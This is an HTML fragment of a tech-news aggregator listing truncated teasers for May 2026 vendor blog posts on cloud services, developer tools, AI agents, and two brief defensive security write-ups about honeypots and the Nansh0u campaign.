        <a href="#h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Keep Your Tech Flame Alive: Trailblazer Rachel Bayley
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-keep-your-tech-flame-alive-trailblazer-rachel-bayley"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this Akamai FLAME Trailblazer blog post, Rachel Bayley encourages women to step into the unknown and to be their authentic selves.</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/culture/2024/may/keep-your-tech-flame-alive-trailblazer-rachel-bayley"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-oracle-of-delphi-will-steal-your-credentials" class="group relative scroll-mt-24">
        <a href="#h3-the-oracle-of-delphi-will-steal-your-credentials" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Oracle of Delphi Will Steal Your Credentials
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-oracle-of-delphi-will-steal-your-credentials"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Our deception technology is able to reroute attackers into honeypots, where they believe that they found their real target. The attacks brute forced passwords for RDP credentials to connect to the vic</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-oracle-of-delphi-steal-your-credentials"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="group relative scroll-mt-24">
        <a href="#h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The Nansh0u Campaign – Hackers Arsenal Grows Stronger
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-nansh0u-campaign-hackers-arsenal-grows-stronger"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In the beginning of April, three attacks detected in the Guardicore Global Sensor Network (GGSN) caught our attention. All three had source IP addresses originating in South-Africa and hosted by Volum</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Linode Blog</strong></p>
<p><a href="https://www.akamai.com/blog/security/the-nansh0u-campaign-hackers-arsenal-grows-stronger"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-agentic-paradox-and-the-case-for-hybrid-ai" class="group relative scroll-mt-24">
        <a href="#h3-the-agentic-paradox-and-the-case-for-hybrid-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The agentic paradox and the case for hybrid AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-agentic-paradox-and-the-case-for-hybrid-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>It’s no secret – the tech industry is rapidly adopting agentic software development to convert business processes into fully autonomous, agentic workflows. While the power of these tools is undeniable</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/agentic-paradox-and-case-hybrid-ai"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-aws-client-vpn-now-supports-ubuntu-os-version-2604-lts" class="group relative scroll-mt-24">
        <a href="#h3-aws-client-vpn-now-supports-ubuntu-os-version-2604-lts" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 AWS Client VPN now supports Ubuntu OS version 26.04 LTS
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-aws-client-vpn-now-supports-ubuntu-os-version-2604-lts"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>AWS Client VPN now supports Linux desktop client with Ubuntu versions 26.04 LTS. You can now run the AWS supplied VPN client on the latest Ubuntu OS versions. AWS Client VPN desktop clients are availa</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 CloudFormation Updates</strong></p>
<p><a href="https://aws.amazon.com/about-aws/whats-new/2026/05/aws-client-vpn-ubuntu-26/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-your-guide-to-red-hat-openshift-service-on-aws-rosa-at-red-hat-summit-2026" class="group relative scroll-mt-24">
        <a href="#h3-your-guide-to-red-hat-openshift-service-on-aws-rosa-at-red-hat-summit-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Your guide to Red Hat OpenShift Service on AWS (ROSA) at Red Hat Summit 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-your-guide-to-red-hat-openshift-service-on-aws-rosa-at-red-hat-summit-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>We&#39;re excited to share what&#39;s coming for Red Hat OpenShift Service on AWS (ROSA) at Red Hat Summit 2026. Sessions will cover everything from virtual machine (VM) modernization and AI workload scaling </p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 OpenShift Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/your-guide-red-hat-openshift-service-aws-rosa-red-hat-summit-2026"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-friday-five-may-8-2026" class="group relative scroll-mt-24">
        <a href="#h3-friday-five-may-8-2026" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Friday Five — May 8, 2026
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-friday-five-may-8-2026"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>SiliconANGLE theCUBE- Red Hat 2026 Summit PreviewtheCUBE&#39;s Rob Strechay sits down with Ashesh Badani, CPO of Red Hat, to explore how enterprises are turning AI ambition into operational reality. Badan</p>
<p><strong>📅 May 8, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
<p><a href="https://www.redhat.com/en/blog/friday-five-may-8-2026-red-hat"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-what-is-a-context-platform-a-new-pattern-for-ai-agents-in-production" class="group relative scroll-mt-24">
        <a href="#h3-what-is-a-context-platform-a-new-pattern-for-ai-agents-in-production" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 What is a Context Platform? A New Pattern for AI Agents in Production
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-what-is-a-context-platform-a-new-pattern-for-ai-agents-in-production"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The stories sound the same in every engineering review. A team ships a working AI prototype in a week. The demo is impressive. Leadership greenlights production. Six months later, the app is still not</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 TiDB Blog</strong></p>
<p><a href="https://www.pingcap.com/blog/ai-application-data-layer-context-platform/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-building-for-the-future" class="group relative scroll-mt-24">
        <a href="#h3-building-for-the-future" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Building for the future
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-building-for-the-future"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>This afternoon, we sent the following email to our global team. One of our core values at Cloudflare is transparency, and we believe it&#39;s important that you hear this directly from us because it’s a m</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Cloudflare Blog</strong></p>
<p><a href="https://blog.cloudflare.com/building-for-the-future/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-gemini-31-flash-lite-is-now-generally-available-on-gemini-enterprise-agent-platform" class="group relative scroll-mt-24">
        <a href="#h3-gemini-31-flash-lite-is-now-generally-available-on-gemini-enterprise-agent-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Gemini 3.1 Flash-Lite is now generally available on Gemini Enterprise Agent Platform
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-gemini-31-flash-lite-is-now-generally-available-on-gemini-enterprise-agent-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Today, we’re thrilled to announce that Gemini 3.1 Flash-Lite, our fastest and most cost-efficient Gemini 3 series model yet, is now generally available. Designed for ultra-low latency, high-volume tas</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 Google Cloud Blog</strong></p>
<p><a href="https://cloud.google.com/blog/products/ai-machine-learning/gemini-3-1-flash-lite-is-now-generally-available/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-mps-20261-early-access-program-has-started" class="group relative scroll-mt-24">
        <a href="#h3-the-mps-20261-early-access-program-has-started" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The MPS 2026.1 Early Access Program Has Started
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-mps-20261-early-access-program-has-started"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The MPS 2026.1 Early Access Program (EAP) is kicking off today. Download the first 2026.1 EAP release and give it a try! DOWNLOAD MPS 2026.1 EAP Along with numerous bug fixes, this build introduces se</p>
<p><strong>📅 May 7, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/mps/2026/05/the-mps-2025-2-eap-has-started-2/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-cross-region-disaster-recovery-for-amazon-eks-using-aws-backup" class="group relative scroll-mt-24">
        <a href="#h3-cross-region-disaster-recovery-for-amazon-eks-using-aws-backup" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Cross-Region disaster recovery for Amazon EKS using AWS Backup
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-cross-region-disaster-recovery-for-amazon-eks-using-aws-backup"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>In this post, we walk you through a complete cross-Region DR implementation for Amazon EKS using AWS Backup. We deploy a stateful retail store application in a source Region, back it up, copy the back</p>
<p><strong>📅 May 6, 2026</strong> • <strong>📰 AWS Containers Blog</strong></p>
<p><a href="https://aws.amazon.com/blogs/containers/cross-region-disaster-recovery-for-amazon-eks-using-aws-backup/"><strong>🔗 Read more</strong></a></p>
<hr>
<h2 id="h2-misc" class="group relative scroll-mt-24">
        <a href="#h2-misc" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📰 Misc
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-misc"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><h3 id="h3-visual-studio-code-1120" class="group relative scroll-mt-24">
        <a href="#h3-visual-studio-code-1120" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Visual Studio Code 1.120
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-visual-studio-code-1120"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Learn what&#39;s new in Visual Studio Code 1.120 (Insiders) Read the full article</p>
<p><strong>📅 May 13, 2026</strong> • <strong>📰 VS Code Blog</strong></p>
<p><a href="https://code.visualstudio.com/updates/v1_120"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-lyrieai-joins-first-batch-of-anthropics-cyber-verification-program" class="group relative scroll-mt-24">
        <a href="#h3-lyrieai-joins-first-batch-of-anthropics-cyber-verification-program" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Lyrie.ai Joins First Batch of Anthropic’s Cyber Verification Program
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-lyrieai-joins-first-batch-of-anthropics-cyber-verification-program"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Dubai, UAE, 11th May 2026, CyberNewswire</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/lyrie-ai-joins-first-batch-of-anthropics-cyber-verification-program/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-the-goland-20262-early-access-program-has-started" class="group relative scroll-mt-24">
        <a href="#h3-the-goland-20262-early-access-program-has-started" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 The GoLand 2026.2 Early Access Program Has Started
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-the-goland-20262-early-access-program-has-started"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>The Early Access Program (EAP) for GoLand 2026.2 is now open. It’s a great opportunity to try upcoming features for free and help shape the product. EAP builds give you early access to what we’re work</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/go/2026/05/11/the-goland-2026-2-early-access-program-has-started/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides" class="group relative scroll-mt-24">
        <a href="#h3-our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Our 2026 Direction: AI and Classic Workflows in JetBrains IDEs
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Two valid ways of writing code. One place to own it. Quick version for AI-news-tired readers: press here There are two ways developers create code now: We don’t think one is better than the other. Our</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/ai/2026/05/our-2026-direction-ai-and-classic-workflows-in-jetbrains-ides-2/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-open-source-contribution-is-about-more-than-just-altruism" class="group relative scroll-mt-24">
        <a href="#h3-open-source-contribution-is-about-more-than-just-altruism" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Open Source Contribution is About More Than Just Altruism
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-open-source-contribution-is-about-more-than-just-altruism"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Passive consumption of open source software creates hidden costs, including $670,000 annually in internal workarounds; however, organizations that shift to upstream contribution report up to 5x return</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/open-source-contribution-is-about-more-than-just-altruism/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-code-maintainability-what-is-it-and-why-its-important" class="group relative scroll-mt-24">
        <a href="#h3-code-maintainability-what-is-it-and-why-its-important" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Code Maintainability: What is it and Why It’s Important
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-code-maintainability-what-is-it-and-why-its-important"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Writing code that’s clean, readable, and easy to modify without causing unintended side effects is vital to ensuring a seamless development process. Good code encourages a smoother long-term software </p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 JetBrains Blog</strong></p>
<p><a href="https://blog.jetbrains.com/qodana/2026/05/code-maintainability-what-is-it-and-why-is-it-important/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-githubs-spec-kit-puts-the-spec-back-in-software-development" class="group relative scroll-mt-24">
        <a href="#h3-githubs-spec-kit-puts-the-spec-back-in-software-development" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 GitHub’s Spec Kit Puts the Spec Back in Software Development
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-githubs-spec-kit-puts-the-spec-back-in-software-development"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>GitHub’s open-source Spec Kit aims to eliminate &quot;vibe coding&quot; by prioritizing durable specifications over vague prompts, providing a structured, agent-agnostic workflow for Copilot, Claude, and Gemini</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 DevOps.com</strong></p>
<p><a href="https://devops.com/githubs-spec-kit-puts-the-spec-back-in-software-development/"><strong>🔗 Read more</strong></a></p>
<h3 id="h3-turning-complexity-into-confidence-with-red-hat-technical-supportability-review-with-ai" class="group relative scroll-mt-24">
        <a href="#h3-turning-complexity-into-confidence-with-red-hat-technical-supportability-review-with-ai" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          📄 Turning complexity into confidence with Red Hat Technical Supportability Review with AI
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h3-turning-complexity-into-confidence-with-red-hat-technical-supportability-review-with-ai"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h3><p>Reactive support models can be a liability when a single misconfiguration can stall a global rollout or an essential production upgrade. To address this, Red Hat Support has introduced Red Hat Technic</p>
<p><strong>📅 May 11, 2026</strong> • <strong>📰 Red Hat Blog</strong></p>
